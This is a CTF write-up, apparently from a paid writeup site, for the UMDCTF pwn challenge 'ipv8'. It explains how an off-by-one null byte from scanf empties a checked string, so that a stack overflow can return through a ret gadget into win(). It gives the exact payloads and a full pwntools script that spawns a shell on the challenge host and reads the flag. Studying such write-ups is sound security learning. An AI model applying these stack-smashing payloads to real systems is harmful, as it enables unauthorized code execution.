ipv8
umdctf
Task: a static 64-bit ELF reads multiple host fields with unsafe scanf calls and checks a stack-resident string before returning. Solution: use a 48-byte destination input to null out the first byte of the checked string, then overflow the source field at offset 104 and return through a ret gadget into win().
$ ls tags/ techniques/
ipv8 — UMDCTF
Overview
We are given a 64-bit static ELF named ipv4 and a remote service at challs.umdctf.io:30308. The binary is not stripped, so the important functions are easy to spot during reversing.
The challenge looks like a simple ret2win at first, but the program has an extra logic check that prevents a plain return-address overwrite from working. The solve requires combining two separate input bugs: a one-byte null overflow to bypass the logic gate, and a stack overflow to control RIP.
Description
No original organizer description was preserved in the local notes.
English summary: the program asks for network-style input fields, validates one stack string with check_rine(), and only then returns from main(). We must satisfy that control flow and pivot execution into win(), which spawns a shell.
Binary Protections and Relevant Functions
The binary properties are:
- 64-bit static ELF
- not stripped
- Partial RELRO
- Canary found
- NX enabled
- No PIE
The most important target is:
win()at0x402f45, which callssystem("/bin/sh")
Because PIE is disabled, the win() address is fixed. A small ROP chain is enough once we can safely return from main().
Vulnerability Analysis
main() contains two distinct stack input bugs.
1. Source Host Address: classic stack overflow
The Source Host Address field is read with:
scanf("%s", buf)
where buf is the local buffer at rbp-0x60. Since %s has no length limit, this is a normal stack overflow primitive. The working offset from this input to saved RIP is 104 bytes.
2. Destination Host Address: one-byte null overflow
The Destination Host Address field is read with:
scanf("%48s", buf)
into a stack buffer at rbp-0xc0.
At first glance %48s looks safe, but scanf also writes a trailing \0. So if we provide exactly 48 bytes, the 49th byte written is the null terminator, which lands one byte past the end of the destination buffer.
That off-by-one null byte reaches the adjacent local at rbp-0x90.
Stack-layout reasoning
The relevant locals are arranged like this:
rbp-0xc0 destination input buffer ... rbp-0x90 local string later passed to check_rine() ... rbp-0x60 source input buffer ... saved RIP
The local at rbp-0x90 starts as the string:
"0.0.0.0"
Later, main() passes that local to check_rine().
Why Both Bugs Are Needed Together
This is the key trick of the challenge.
check_rine() only calls win() when the string equals 100.72.7.67. If the local at rbp-0x90 still contains "0.0.0.0", the program exits before main() ever returns.
That means a source-field RIP overwrite alone is useless: even with saved RIP smashed, execution never reaches the function epilogue because the program terminates earlier.
The destination bug fixes that control-flow problem.
If we send exactly 48 bytes to the Destination Host Address input, scanf("%48s", ...) appends its terminator just past the destination buffer and overwrites the first byte of the adjacent rbp-0x90 string with \0.
So this transformation happens:
"0.0.0.0" -> ""
That empty string is enough to avoid the exit path, so check_rine() returns normally instead of killing the process. Once that happens, main() continues to its epilogue and finally uses our overwritten saved RIP.
So the exploit is:
- Use the destination input to null out the first byte of the checked local string.
- Use the source input to overwrite saved RIP.
- Let
main()return into a ROP chain.
Control-Flow Hijack
The working RIP offset from the Source Host Address input is 104.
A direct jump to win() was unreliable because of stack alignment, so the stable chain is:
retgadget:0x40101awin:0x402f45
Working payloads:
src = b"1.1.1.1" + b"A" * (104 - 7) + p64(0x40101a) + p64(0x402f45) dst = b"1.1.1.1" + b"B" * 41
The destination payload is exactly 48 bytes long before scanf appends the trailing null:
b"1.1.1.1"= 7 bytesb"B" * 41= 41 bytes- total = 48 bytes
After the overwrite and return, win() gives us a shell. From there we can read /app/flag.txt or simply run cat flag.txt.
Final Exploit Script
#!/usr/bin/env python3 from pwn import * HOST = "challs.umdctf.io" PORT = 30308 OFFSET = 104 RET = 0x40101A WIN = 0x402F45 def main(): context.binary = ELF("./ipv4", checksec=False) io = remote(HOST, PORT) src = b"1.1.1.1" + b"A" * (OFFSET - 7) + p64(RET) + p64(WIN) dst = b"1.1.1.1" + b"B" * 41 io.recvuntil(b"> ") io.sendline(b"AAAA") io.recvuntil(b"> ") io.sendline(src) io.recvuntil(b"> ") io.sendline(b"BBBB") io.recvuntil(b"> ") io.sendline(dst) io.recvrepeat(0.2) io.sendline(b"cat flag.txt") print(io.recvrepeat(0.5).decode(errors="ignore")) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Getting Started— hackthebox
- [pwn][Pro]ret— spbctf
- [pwn][Pro]rbp— spbctf
- [pwn][Pro]stackgift— spbctf
- [pwn][Pro]Easy ROP— hackerlab